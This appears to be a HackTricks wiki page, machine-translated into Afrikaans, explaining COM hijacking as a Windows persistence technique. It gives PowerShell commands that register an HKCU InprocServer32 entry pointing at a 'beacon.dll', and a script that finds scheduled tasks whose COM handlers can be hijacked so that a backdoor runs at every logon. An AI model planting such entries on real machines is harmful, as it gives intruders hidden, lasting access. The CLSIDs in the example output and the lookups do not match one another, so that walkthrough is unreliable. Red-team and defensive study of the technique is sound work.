hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
2024-02-11 02:07:06 +00:00

5.4 KiB

COM Kaping

Leer AWS kaping vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Soek na nie-bestaande COM-komponente

Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan COM-kaping gebruik word as 'n volhoubare meganisme. Deur procmon te gebruik, is dit maklik om gesogte COM-registre te vind wat nie bestaan nie en wat 'n aanvaller kan skep om volhoubaar te wees. Filtreer:

  • RegOpenKey-handelinge.
  • waar die Resultaat NAME NOT FOUND is.
  • en die Pad eindig met InprocServer32.

Sodra jy besluit het watter nie-bestaande COM jy wil voorstel, voer die volgende opdragte uit. Wees versigtig as jy besluit om 'n COM voor te stel wat elke paar sekondes gelaai word, want dit kan oordrewe wees.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Gekaapte Taakbeplanner COM-komponente

Windows-take gebruik aangepaste trefskakelaars om COM-voorwerpe te roep, en omdat hulle deur die Taakbeplanner uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer sal word.

# Wys COM CLSIDs
$Take = Get-ScheduledTask

foreach ($Taak in $Take)
{
if ($Taak.Actions.ClassId -ne $null)
{
if ($Taak.Triggers.Enabled -eq $true)
{
$gebruikersSid = "S-1-5-32-545"
$gebruikersGroep = Get-LocalGroup | Where-Object { $_.SID -eq $gebruikersSid }

if ($Taak.Principal.GroupId -eq $gebruikersGroep)
{
Write-Host "Taaknaam: " $Taak.TaskName
Write-Host "Taakpad: " $Taak.TaskPath
Write-Host "CLSID: " $Taak.Actions.ClassId
Write-Host
}
}
}
}

# Voorbeelduitset:
# Taaknaam:  Voorbeeld
# Taakpad:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [meer soos die vorige...]

Deur die uitset te kontroleer, kan jy een kies wat byvoorbeeld elke keer as 'n gebruiker inteken uitgevoer sal word.

Soek nou na die CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Dan kan jy net die HKCU-inskrywing skep en elke keer as die gebruiker inteken, sal jou agterdeur geaktiveer word.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: